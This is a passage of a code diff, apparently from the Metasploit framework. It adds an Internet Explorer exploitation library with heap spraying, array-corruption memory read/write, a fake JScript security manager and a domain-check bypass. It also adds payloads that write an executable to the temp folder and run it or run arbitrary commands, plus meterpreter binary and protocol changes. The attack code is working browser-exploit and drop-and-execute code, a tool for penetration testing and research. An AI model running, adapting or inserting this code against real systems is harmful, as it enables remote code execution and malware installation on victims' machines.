this.loadlibrary = null; + + // Offset to the Origin URL in the Stream, modifying it + // allows to bypass msado15.SecurityCheck(), allowing + // for example to write stream contents to filesystem. + this.stream_origin = 0x44; + } + + ExpLib.prototype.resolveAPI = function( modulename, procname ) { + var module = this.resolveModule( modulename ); + + return this.callAPI( this.getproc, module, this.allocateString(procname) ); + } + + ExpLib.prototype.resolveModule = function( modulename ) { + if ( this.modules[modulename] ) + return this.modules[modulename]; + + var module = this.callAPI( this.loadlibrary, this.allocateString(modulename) ); + this.modules[modulename] = module; + return module; + } + + ExpLib.prototype.spray = function() { + this.arr_arr = new Array( num_arrays ); + + var decl = "["; + + for ( var i = 0; i < this.arr_size - 1; ++ i ) { + decl += '0,'; + } + + decl += '0'; + decl += ']'; + + for ( var i = 0; i < num_arrays; ++ i ) { + this.arr_arr[i] = eval(decl); + for(var j = 0; j < this.arr_contents.length; j++) { + this.arr_arr[i][j] = this.arr_contents[j]; + } + } + + } + + // Should be used before calling spray() + ExpLib.prototype.setArrContents = function(contents) { + for(var i = 0; i < this.arr_size && i < contents.length; i++) { + this.arr_contents[i] = contents[i]; + } + } + + ExpLib.prototype.setValue = function(i1, i2, v) { + this.arr_arr[i1][i2] = v; + } + + + ExpLib.prototype.setValueByAddr = function(index, addr, v) { + this.arr_arr[index][((addr % 0x1000) - 0x20) / 4] = v; + } + + ExpLib.prototype.read32 = function(addr) { + if ( addr % 4 ) { + // error + } + + if ( addr >= this.arr2_member_base ) { + return this.arr2[(addr - this.arr2_member_base)/4]; + } else { + return this.arr2[0x40000000 - (this.arr2_member_base - addr)/4] + } + } + + ExpLib.prototype.write32 = function(addr, value) { + if ( addr % 4 ) { + // error + } + + if ( value >= 0x80000000 ) + value = -(0x100000000 - value); + + //alert(((addr - this.arr2_member_base)/4).toString(16)); + if ( addr >= this.arr2_member_base ) { + this.arr2[(addr - this.arr2_member_base)/4] = value; + } else { + this.arr2[0x40000000 - (this.arr2_member_base - addr) / 4] = value; + } + } + + ExpLib.prototype.read8 = function(addr) { + var value = this.read32( addr & 0xfffffffc ); + switch ( addr % 4 ) { + case 0: return (value & 0xff); + case 1: return ((value >> 8) & 0xff); + case 2: return ((value >> 16) & 0xff); + case 3: return ((value >> 24) & 0xff); + } + + return 0; + } + + ExpLib.prototype.write8 = function(addr, value) { + var original_value = this.read32( addr & 0xfffffffc ); + var new_value; + + switch ( addr % 4 ) { + case 0: + new_value = (original_value & 0xffffff00) | (value & 0xff); + break; + + case 1: + new_value = (original_value & 0xffff00ff) | ((value & 0xff) << 8); + break; + case 2: + new_value = (original_value & 0xff00ffff) | ((value & 0xff) << 16); + break; + case 3: + new_value = (original_value & 0x00ffffff) | ((value & 0xff) << 24); + break; + } + + + this.write32( addr & 0xfffffffc, new_value ); + } + + + ExpLib.prototype.writeBytes = function(addr, bytes) { + for ( var i = 0; i + 3 < bytes.length; i += 4 ) { + var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) | + ((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24); + + this.write32( addr + i, value ); + } + + for ( ; i < bytes.length; ++ i ) { + this.write8( addr + i, bytes[i] ); + } + } + + ExpLib.prototype.writeString = function(addr, s) { + var bytes = []; + var i = 0; + for ( ; i < s.length; ++ i ) { + bytes[i] = s.charCodeAt(i); + } + + bytes[i] = 0; + + this.writeBytes( addr, bytes ); + } + + ExpLib.prototype.writeStringW = function(addr, s) { + var bytes = []; + var i = 0; + for ( ; i < s.length; ++i ) { + bytes[i * 2] = s.charCodeAt(i); + bytes[i * 2 + 1] = 0; + } + + bytes[s.length * 2] = 0; + bytes[s.length * 2 + 1] = 0; + + this.writeBytes( addr, bytes ); + } + + ExpLib.prototype.read16 = function(addr) { + if ( addr % 2 ) { + // error, not aligned + } + + var value = this.read32( addr & 0xfffffffc ); + switch ( addr % 4 ) { + case 0: return (value & 0xffff); + case 1: return ((value >> 8) & 0xffff); + case 2: return ((value >> 16) & 0xffff); + case 3: /*not supported*/ break; + } + + return 0; + } + + ExpLib.prototype.strequal = function(addr, s) { + for ( var i = 0; i < s.length; ++ i ) { + if ( this.read8(addr + i) != s.charCodeAt(i) ) + return false; + } + + return true; + } + + + ExpLib.prototype.getModuleBase = function(addr) { + + var cur_addr = addr; + + while ( cur_addr > 0 ) { + + if ( (this.read32(cur_addr) & 0xffff) == 0x5a4d ) { + return cur_addr; + } + + cur_addr -= 0x10000; + } + + return 0; + } + + + + ExpLib.prototype.getModuleBaseFromIAT = function(base, name) { + var import_table = base + this.read32( base + this.read32(base + 0x3c) + 0x80 ); + var cur_table = import_table; + + while ( cur_table < import_table + 0x1000 ) { + + var name_addr = base + this.read32(cur_table + 12); + if ( this.strequal( name_addr, name ) ) { + var iat = base + this.read32(cur_table + 16); + var func = this.read32(iat); + while ( 0 == func ) { + iat += 4; + func = this.read32(iat); + } + + return this.getModuleBase( func & 0xFFFF0000 ); + + } + + cur_table += 20; + } + + return 0; + } + + ExpLib.prototype.getProcAddress = function(base, procname) { + var export_table = base + this.read32( base + this.read32(base + 0x3c) + 0x78 ); + var num_functions = this.read32( export_table + 20 ); + var addr_functions = base + this.read32( export_table + 28 ); + var addr_names = base + this.read32( export_table + 32 ); + var addr_ordinals = base + this.read32( export_table + 36 ); + + for ( var i = 0; i < num_functions; ++ i ) { + var name_addr = this.read32( addr_names + i * 4 ) + base; + if ( this.strequal( name_addr, procname ) ) { + var ordinal = this.read16( addr_ordinals + i * 2 ); + var result = this.read32( addr_functions + ordinal * 4 ) + base; + return result; + } + } + + return 0; + } + + ExpLib.prototype.searchBytes = function(pattern, start, end) { + + if ( start >= end || start + pattern.length > end ) + return 0; + + var pos = start; + while ( pos < end ) { + for ( var i = 0; i < pattern.length; ++ i ) { + if ( this.read8(pos + i) != pattern[i] ) + break; + } + + if ( i == pattern.length ) { + return pos; + } + + ++ pos; + } + + return 0; + } + + + ExpLib.prototype.getError = function(msg) { + return this.err_msg; + } + + ExpLib.prototype.setError = function(msg) { + this.err_msg = msg; + } + + ExpLib.prototype.setStreamOrigin = function(offset) { + this.stream_origin = offset; + } + + ExpLib.prototype.getStreamOrigin = function() { + return this.stream_origin; + } + + ExpLib.prototype.memcpy = function(dst, src, size) { + var i = 0; + for ( ; i < size - 4; i += 4 ) { + this.write32( dst + i, this.read32(src + i) ); + } + + for ( ; i < size; ++ i ) { + this.write8( dst + i, this.read8(src + i) ); + } + } + + ExpLib.prototype.go = function() { + + var i = 0; + + + + for ( ; i < this.arr_arr.length - 1; ++ i ) { + this.arr_arr[i][this.arr_size + 0x1c / 4] = 0; + + if ( this.arr_arr[i][this.arr_size + 0x18 / 4] == this.arr_size ) { + this.arr_arr[i][this.arr_size + 0x14 / 4] = 0x3fffffff; + this.arr_arr[i][this.arr_size + 0x18 / 4] = 0x3fffffff; + + this.arr_arr[i + 1].length = 0x3fffffff; + + if ( this.arr_arr[i+1].length == 0x3fffffff ) { + break; + } + } + + } + + if ( i >= this.arr_arr.length - 1 ) { + this.setError( "Cannot find array with corrupt length!" ); + return false; + } + + this.arr1_idx = i; + this.arr2_idx = i + 1; + + this.arr1 = this.arr_arr[i]; + this.arr2 = this.arr_arr[i + 1]; + + this.arr2_base = this.base + 0x1000; + this.arr2_member_base = this.arr2_base + 0x20; + + var func_addr = this.leakAddress(ActiveXObject); + var script_engine_addr = this.read32(this.read32(func_addr + 0x1c) + 4); + + //alert(script_engine_addr.toString(16)); + + var original_securitymanager = this.read32( script_engine_addr + 0x21c ); + if ( !original_securitymanager ) { + // let security manager to be valid + try { + var WshShell = new ActiveXObject("WScript.shell"); + } catch (e) {} + + original_securitymanager = this.read32( script_engine_addr + 0x21c ); + } + + var original_securitymanager_vtable = this.read32(original_securitymanager); + var securitymanager_size = 0x28; + var fake_securitymanager = 0x1a1b2010; + var fake_securitymanager_vtable = fake_securitymanager + 0x28; + //alert(original_securitymanager.toString(16)); + + this.memcpy( fake_securitymanager, original_securitymanager, securitymanager_size ); + this.memcpy( fake_securitymanager_vtable, original_securitymanager_vtable, 0x70 ); + this.write32( fake_securitymanager, fake_securitymanager_vtable ); + this.write32(script_engine_addr + 0x21c, fake_securitymanager); + + var jscript9_base = this.getModuleBase( this.read32(script_engine_addr) & 0xffff0000 ); + var jscript9_code_start = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x104); + var jscript9_code_end = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x108); + + + this.write32( fake_securitymanager_vtable + 0x14, + this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 8; */ + + this.write32( fake_securitymanager_vtable + 0x10, + this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 4; */ + + this.payload.execute(this); + + + /* + * restore + */ + + this.write32( script_engine_addr + 0x21c, original_securitymanager ); + + return true; + + } + + ExpLib.prototype.leakAddress = function(obj) { + this.arr_arr[this.arr2_idx + 1][2] = obj; + return this.read32(this.arr2_member_base + 0x1008); + } + + ExpLib.prototype.switchStreamOrigin = function(stream) { + var obj = this.leakAddress(stream); + var stream_obj = this.read32(obj + 0x30); + //var url_addr = this.read32(stream_obj + 0x3c); + var url_addr = this.read32(stream_obj + this.stream_origin); + + /* + * bypass domain check + */ + this.writeStringW( url_addr, 'file:///C:/1.htm' ); + } + + return ExpLib; + +})(); diff --git a/data/js/memory/explib2/payload/drop_exec.js b/data/js/memory/explib2/payload/drop_exec.js new file mode 100644 index 0000000000..1bba3effce --- /dev/null +++ b/data/js/memory/explib2/payload/drop_exec.js @@ -0,0 +1,33 @@ +function payload_drop_exec(pe) { + + this.execute = function(explib) { + + var WshShell = new ActiveXObject("WScript.shell"); + var temp = WshShell.ExpandEnvironmentStrings("%TEMP%"); + var filename = temp + "\\a.exe"; + + var bStream = new ActiveXObject("ADODB.Stream"); + var txtStream = new ActiveXObject("ADODB.Stream"); + bStream.Type = 1; + txtStream.Type = 2; + + bStream.Open(); + txtStream.Open(); + + explib.switchStreamOrigin(txtStream); + + txtStream.WriteText(pe); + txtStream.Position = 2; + txtStream.CopyTo( bStream ); + txtStream.Close(); + + explib.switchStreamOrigin(bStream); + + bStream.SaveToFile(filename, 2); + bStream.Close(); + + oExec = WshShell.Exec(filename); + } + + return this; +} diff --git a/data/js/memory/explib2/payload/exec.js b/data/js/memory/explib2/payload/exec.js new file mode 100644 index 0000000000..704db247e6 --- /dev/null +++ b/data/js/memory/explib2/payload/exec.js @@ -0,0 +1,10 @@ +function payload_exec(cmd) { + + this.execute = function(explib) { + + var WshShell = new ActiveXObject("WScript.shell"); + var oExec = WshShell.Exec(cmd); + } + + return this; +} diff --git a/data/js/memory/heaplib2.js b/data/js/memory/heaplib2.js new file mode 100644 index 0000000000..1e2fecf1a0 --- /dev/null +++ b/data/js/memory/heaplib2.js @@ -0,0 +1,192 @@ +//heapLib2 namespace +function heapLib2() { } + +//These are attributes that will not actually create a bstr +//and directly use the back-end allocator, completely bypassing the cache +var global_attrs = ["title", "lang", "class"]; + +heapLib2.ie = function(element, maxAlloc) +{ + //128mb + this.maxAlloc = 0x8000000; + + //make sure that an HTML DOM element is passed + if(!element.nodeType || element.nodeType != 1) + throw "alloc.argument: element not valid"; + + this.element = element; + + if(maxAlloc) + this.maxAlloc = maxAlloc; + + //empty the cache + this.Oleaut32EmptyCache(); + this.Oleaut32FillCache(); + this.Oleaut32EmptyCache(); + +} + +heapLib2.ie.prototype.newelement = function(element) +{ + //make sure that an HTML DOM element is passed + if(!element.nodeType || element.nodeType != 1) + throw "alloc.argument: element not valid"; + + this.element = element; +} + +heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok) +{ + if(typeof(cache_ok)==='undefined') + cache_ok = false; + else + cache_ok = true; + + //make sure the attribute name is a string + if(typeof attr_name != "string") + throw "alloc.argument: attr_name is not a string"; + + //make sure that the attribute name is not already present in the html element + if(this.element.getAttribute(attr_name)) + throw "alloc.argument: element already contains attr_name: " + attr_name; + + //ensure the size is a number + if(typeof size != "number") + throw "alloc.argument: size is not a number: " + size; + + //make sure the size isn't one of the special values + if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000)) + throw "alloc.argument: size cannot be flushed from cache: " + size; + + if(size > this.maxAlloc) + throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size; + + //the size must be at a 16-byte boundary this can be commented out but + //the allocations will be rounded to the nearest 16-byte boundary + if(size % 16 != 0) + throw "alloc.argument: size be a multiple of 16: " + size; + + //20-bytes will be added to the size + //<4-byte size><2-byte null> + size = ((size / 2) - 6); + + //May have to change this due to allocation side effects + var data = new Array(size).join(cache_ok ? "C" : "$"); + + var attr = document.createAttribute(attr_name); + this.element.setAttributeNode(attr); + this.element.setAttribute(attr_name, data); + +} + +//These items will allocate/free memory and should really +//only be used once per element. You can use a new element +//by calling the 'newelement' method above +heapLib2.ie.prototype.alloc_nobstr = function(val) +{ + //make sure the aval is a string + if(typeof val != "string") + throw "alloc.argument: val is not a string"; + + var size = (val.length * 2) + 6; + + if(size > this.maxAlloc) + throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size; + + var i = 0; + var set_gattr = 0; + for(i = 0; i < global_attrs.length; i++) + { + curr_gattr = global_attrs[i]; + if(!this.element.getAttribute(curr_gattr)) + { + this.element.setAttribute(curr_gattr, ""); + this.element.setAttribute(curr_gattr, val); + set_gattr = 1; + break; + } + } + + if(set_gattr == 0) + throw "alloc_nobstr: all global attributes are assigned, try a new element"; +} + +//completely bypass the cache, useful for heap spraying (see heapLib2_test.html) +heapLib2.ie.prototype.sprayalloc = function(attr_name, str) +{ + //make sure the attribute name is a string + if(typeof attr_name != "string") + throw "alloc.argument: attr_name is not a string"; + + //make sure that the attribute name is not already present in the html element + if(this.element.getAttribute(attr_name)) + throw "alloc.argument: element already contains attr_name: " + attr_name; + + //ensure the size is a number + if(typeof str != "string") + throw "alloc.argument: str is not a string: " + typeof str; + + var size = (str.length * 2) + 6; + + //make sure the size isn't one of the special values + if(size <= 0x8000) + throw "alloc.argument: bigalloc must be greater than 0x8000: " + size; + + if(size > this.maxAlloc) + throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size; + + var attr = document.createAttribute(attr_name); + this.element.setAttributeNode(attr); + this.element.setAttribute(attr_name, str); +} + +heapLib2.ie.prototype.free = function(attr_name, skip_flush) +{ + if(typeof(skip_flush)==='undefined') + skip_flush = false; + else + skip_flush = true; + + //make sure that an HTML DOM element is passed + if(!this.element.nodeType || this.element.nodeType != 1) + throw "alloc.argument: element not valid"; + + //make sure the attribute name is a string + if(typeof attr_name != "string") + throw "alloc.argument: attr_name is not a string"; + + //make sure that the attribute name is not already present in the html element + if(!this.element.getAttribute(attr_name)) + throw "alloc.argument: element does not contain attribute: " + attr_name; + + //make sure the cache is full so the chunk returns the general purpose heap + if(!skip_flush) + this.Oleaut32FillCache(); + + this.element.setAttribute(attr_name, null); + + if(!skip_flush) + this.Oleaut32EmptyCache() +} + +heapLib2.ie.prototype.Oleaut32FillCache = function() +{ + for(var i = 0; i < 6; i++) + { + this.free("cache0x20"+i, true); + this.free("cache0x40"+i, true); + this.free("cache0x100"+i, true); + this.free("cache0x8000"+i, true); + } +} + +heapLib2.ie.prototype.Oleaut32EmptyCache = function() +{ + for(var i = 0; i < 6; i++) + { + this.alloc("cache0x20"+i, 0x20, true); + this.alloc("cache0x40"+i, 0x40, true); + this.alloc("cache0x100"+i, 0x100, true); + this.alloc("cache0x8000"+i, 0x8000, true); + } +} \ No newline at end of file diff --git a/data/js/network/ajax_post.js b/data/js/network/ajax_post.js index 4e6729acfa..91f6b47a1a 100644 --- a/data/js/network/ajax_post.js +++ b/data/js/network/ajax_post.js @@ -1,10 +1,18 @@ -function postInfo(path, data) { +function postInfo(path, data, cb) { var xmlHttp = new XMLHttpRequest(); if (xmlHttp.overrideMimeType) { xmlHttp.overrideMimeType("text/plain; charset=x-user-defined"); } - xmlHttp.open('POST', path, false); + xmlHttp.open('POST', path, !!cb); + + if (cb) { + xmlHttp.onreadystatechange = function() { + if (xmlHttp.readyState == 4) { cb.apply(this, arguments); } + }; + } + xmlHttp.send(data); -} \ No newline at end of file + return xmlHttp; +} diff --git a/data/meterpreter/common.lib b/data/meterpreter/common.lib old mode 100755 new mode 100644 index 75b5eb755b..7513cc3ae8 Binary files a/data/meterpreter/common.lib and b/data/meterpreter/common.lib differ diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll deleted file mode 100755 index 6122e0d4ec..0000000000 Binary files a/data/meterpreter/elevator.x64.dll and /dev/null differ diff --git a/data/meterpreter/elevator.x86.dll b/data/meterpreter/elevator.x86.dll deleted file mode 100755 index 4b377f7577..0000000000 Binary files a/data/meterpreter/elevator.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_android.jar b/data/meterpreter/ext_server_android.jar new file mode 100644 index 0000000000..b6a01cac09 Binary files /dev/null and b/data/meterpreter/ext_server_android.jar differ diff --git a/data/meterpreter/ext_server_espia.x64.dll b/data/meterpreter/ext_server_espia.x64.dll deleted file mode 100755 index 36bd78ef87..0000000000 Binary files a/data/meterpreter/ext_server_espia.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_espia.x86.dll b/data/meterpreter/ext_server_espia.x86.dll deleted file mode 100755 index 8608ac3cb5..0000000000 Binary files a/data/meterpreter/ext_server_espia.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_extapi.x64.dll b/data/meterpreter/ext_server_extapi.x64.dll deleted file mode 100755 index aec85861ae..0000000000 Binary files a/data/meterpreter/ext_server_extapi.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_extapi.x86.dll b/data/meterpreter/ext_server_extapi.x86.dll deleted file mode 100755 index 0923879915..0000000000 Binary files a/data/meterpreter/ext_server_extapi.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_incognito.x64.dll b/data/meterpreter/ext_server_incognito.x64.dll deleted file mode 100755 index 777f6c3682..0000000000 Binary files a/data/meterpreter/ext_server_incognito.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_incognito.x86.dll b/data/meterpreter/ext_server_incognito.x86.dll deleted file mode 100755 index 7369f7621a..0000000000 Binary files a/data/meterpreter/ext_server_incognito.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_lanattacks.x64.dll b/data/meterpreter/ext_server_lanattacks.x64.dll deleted file mode 100755 index 4042a413f1..0000000000 Binary files a/data/meterpreter/ext_server_lanattacks.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_lanattacks.x86.dll b/data/meterpreter/ext_server_lanattacks.x86.dll deleted file mode 100755 index 372df0a5fa..0000000000 Binary files a/data/meterpreter/ext_server_lanattacks.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_mimikatz.x64.dll b/data/meterpreter/ext_server_mimikatz.x64.dll deleted file mode 100755 index 09ec5e887b..0000000000 Binary files a/data/meterpreter/ext_server_mimikatz.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_mimikatz.x86.dll b/data/meterpreter/ext_server_mimikatz.x86.dll deleted file mode 100755 index d0c6b54447..0000000000 Binary files a/data/meterpreter/ext_server_mimikatz.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso index e6629bb4a8..95eee22e7f 100755 Binary files a/data/meterpreter/ext_server_networkpug.lso and b/data/meterpreter/ext_server_networkpug.lso differ diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll deleted file mode 100755 index cbdbd29fab..0000000000 Binary files a/data/meterpreter/ext_server_priv.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_priv.x86.dll b/data/meterpreter/ext_server_priv.x86.dll deleted file mode 100755 index 7471006016..0000000000 Binary files a/data/meterpreter/ext_server_priv.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso index 4130ece196..d7c4ee9956 100755 Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll index 5008d8d9d6..3a36b5bf81 100755 Binary files a/data/meterpreter/ext_server_sniffer.x64.dll and b/data/meterpreter/ext_server_sniffer.x64.dll differ diff --git a/data/meterpreter/ext_server_sniffer.x86.dll b/data/meterpreter/ext_server_sniffer.x86.dll index d64f9085a7..b3d708ef96 100755 Binary files a/data/meterpreter/ext_server_sniffer.x86.dll and b/data/meterpreter/ext_server_sniffer.x86.dll differ diff --git a/data/meterpreter/ext_server_stdapi.jar b/data/meterpreter/ext_server_stdapi.jar index bef5cee014..b6a01cac09 100644 Binary files a/data/meterpreter/ext_server_stdapi.jar and b/data/meterpreter/ext_server_stdapi.jar differ diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso index 4ff3fbdcc1..383bb0579c 100755 Binary files a/data/meterpreter/ext_server_stdapi.lso and b/data/meterpreter/ext_server_stdapi.lso differ diff --git a/data/meterpreter/ext_server_stdapi.php b/data/meterpreter/ext_server_stdapi.php index 20cbc03793..e2565f86d0 100755 --- a/data/meterpreter/ext_server_stdapi.php +++ b/data/meterpreter/ext_server_stdapi.php @@ -6,10 +6,10 @@ ## # General ## -define("TLV_TYPE_HANDLE", TLV_META_TYPE_UINT | 600); +define("TLV_TYPE_HANDLE", TLV_META_TYPE_QWORD | 600); define("TLV_TYPE_INHERIT", TLV_META_TYPE_BOOL | 601); -define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_UINT | 630); -define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_UINT | 631); +define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_QWORD | 630); +define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_QWORD | 631); ## # Fs @@ -65,7 +65,7 @@ define("PROCESS_EXECUTE_FLAG_SUSPENDED", (1 << 2)); define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3)); # Registry -define("TLV_TYPE_HKEY", TLV_META_TYPE_UINT | 1000); +define("TLV_TYPE_HKEY", TLV_META_TYPE_QWORD | 1000); define("TLV_TYPE_ROOT_KEY", TLV_TYPE_HKEY); define("TLV_TYPE_BASE_KEY", TLV_META_TYPE_STRING | 1001); define("TLV_TYPE_PERMISSION", TLV_META_TYPE_UINT | 1002); @@ -90,12 +90,12 @@ define("TLV_TYPE_ENV_GROUP", TLV_META_TYPE_GROUP | 1102); define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0)); # Process -define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_UINT | 2000); +define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2000); define("TLV_TYPE_ALLOCATION_TYPE", TLV_META_TYPE_UINT | 2001); define("TLV_TYPE_PROTECTION", TLV_META_TYPE_UINT | 2002); define("TLV_TYPE_PROCESS_PERMS", TLV_META_TYPE_UINT | 2003); define("TLV_TYPE_PROCESS_MEMORY", TLV_META_TYPE_RAW | 2004); -define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_UINT | 2005); +define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2005); define("TLV_TYPE_MEMORY_STATE", TLV_META_TYPE_UINT | 2006); define("TLV_TYPE_MEMORY_TYPE", TLV_META_TYPE_UINT | 2007); define("TLV_TYPE_ALLOC_PROTECTION", TLV_META_TYPE_UINT | 2008); @@ -109,16 +109,16 @@ define("TLV_TYPE_PROCESS_ARGUMENTS", TLV_META_TYPE_STRING | 2305); define("TLV_TYPE_IMAGE_FILE", TLV_META_TYPE_STRING | 2400); define("TLV_TYPE_IMAGE_FILE_PATH", TLV_META_TYPE_STRING | 2401); define("TLV_TYPE_PROCEDURE_NAME", TLV_META_TYPE_STRING | 2402); -define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_UINT | 2403); -define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_UINT | 2404); +define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_QWORD | 2403); +define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_QWORD | 2404); define("TLV_TYPE_IMAGE_GROUP", TLV_META_TYPE_GROUP | 2405); define("TLV_TYPE_IMAGE_NAME", TLV_META_TYPE_STRING | 2406); define("TLV_TYPE_THREAD_ID", TLV_META_TYPE_UINT | 2500); define("TLV_TYPE_THREAD_PERMS", TLV_META_TYPE_UINT | 2502); define("TLV_TYPE_EXIT_CODE", TLV_META_TYPE_UINT | 2510); -define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_UINT | 2511); -define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_UINT | 2512); +define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_QWORD | 2511); +define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_QWORD | 2512); define("TLV_TYPE_CREATION_FLAGS", TLV_META_TYPE_UINT | 2513); define("TLV_TYPE_REGISTER_NAME", TLV_META_TYPE_STRING | 2540); @@ -137,7 +137,7 @@ define("TLV_TYPE_DESKTOP", TLV_META_TYPE_STRING | 3002); # Event Log ## define("TLV_TYPE_EVENT_SOURCENAME", TLV_META_TYPE_STRING | 4000); -define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_UINT | 4001); +define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_QWORD | 4001); define("TLV_TYPE_EVENT_NUMRECORDS", TLV_META_TYPE_UINT | 4002); define("TLV_TYPE_EVENT_READFLAGS", TLV_META_TYPE_UINT | 4003); diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index b6bdccd483..660072ad2b 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -1,4 +1,3 @@ -import ctypes import fnmatch import getpass import os @@ -9,8 +8,15 @@ import socket import struct import subprocess import sys +import time -has_windll = hasattr(ctypes, 'windll') +try: + import ctypes + has_ctypes = True + has_windll = hasattr(ctypes, 'windll') +except ImportError: + has_ctypes = False + has_windll = False try: import pty @@ -24,6 +30,12 @@ try: except ImportError: has_pwd = False +try: + import SystemConfiguration as osxsc + has_osxsc = True +except ImportError: + has_osxsc = False + try: import termios has_termios = True @@ -36,52 +48,216 @@ try: except ImportError: has_winreg = False -class PROCESSENTRY32(ctypes.Structure): - _fields_ = [("dwSize", ctypes.c_uint32), - ("cntUsage", ctypes.c_uint32), - ("th32ProcessID", ctypes.c_uint32), - ("th32DefaultHeapID", ctypes.c_void_p), - ("th32ModuleID", ctypes.c_uint32), - ("cntThreads", ctypes.c_uint32), - ("th32ParentProcessID", ctypes.c_uint32), - ("thPriClassBase", ctypes.c_int32), - ("dwFlags", ctypes.c_uint32), - ("szExeFile", (ctypes.c_char * 260))] +try: + import winreg + has_winreg = True +except ImportError: + has_winreg = (has_winreg or False) -class SYSTEM_INFO(ctypes.Structure): - _fields_ = [("wProcessorArchitecture", ctypes.c_uint16), - ("wReserved", ctypes.c_uint16), - ("dwPageSize", ctypes.c_uint32), - ("lpMinimumApplicationAddress", ctypes.c_void_p), - ("lpMaximumApplicationAddress", ctypes.c_void_p), - ("dwActiveProcessorMask", ctypes.c_uint32), - ("dwNumberOfProcessors", ctypes.c_uint32), - ("dwProcessorType", ctypes.c_uint32), - ("dwAllocationGranularity", ctypes.c_uint32), - ("wProcessorLevel", ctypes.c_uint16), - ("wProcessorRevision", ctypes.c_uint16),] +if sys.version_info[0] < 3: + is_str = lambda obj: issubclass(obj.__class__, str) + is_bytes = lambda obj: issubclass(obj.__class__, str) + bytes = lambda *args: str(*args[:1]) + NULL_BYTE = '\x00' +else: + is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) + is_bytes = lambda obj: issubclass(obj.__class__, bytes) + str = lambda x: __builtins__['str'](x, 'UTF-8') + NULL_BYTE = bytes('\x00', 'UTF-8') + long = int -class SID_AND_ATTRIBUTES(ctypes.Structure): - _fields_ = [("Sid", ctypes.c_void_p), - ("Attributes", ctypes.c_uint32),] +if has_ctypes: + # + # Windows Structures + # + class SOCKADDR(ctypes.Structure): + _fields_ = [("sa_family", ctypes.c_ushort), + ("sa_data", (ctypes.c_uint8 * 14))] -## -# STDAPI -## + class SOCKET_ADDRESS(ctypes.Structure): + _fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)), + ("iSockaddrLength", ctypes.c_int)] + + class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure): + _fields_ = [ + ("s", type( + '_s_IP_ADAPTER_UNICAST_ADDRESS', + (ctypes.Structure,), + dict(_fields_ = [ + ("Length", ctypes.c_ulong), + ("Flags", ctypes.c_uint32) + ]) + )), + ("Next", ctypes.c_void_p), + ("Address", SOCKET_ADDRESS), + ("PrefixOrigin", ctypes.c_uint32), + ("SuffixOrigin", ctypes.c_uint32), + ("DadState", ctypes.c_uint32), + ("ValidLifetime", ctypes.c_ulong), + ("PreferredLifetime", ctypes.c_ulong), + ("LeaseLifetime", ctypes.c_ulong), + ("OnLinkPrefixLength", ctypes.c_uint8)] + + class IP_ADAPTER_ADDRESSES(ctypes.Structure): + _fields_ = [ + ("u", type( + '_u_IP_ADAPTER_ADDRESSES', + 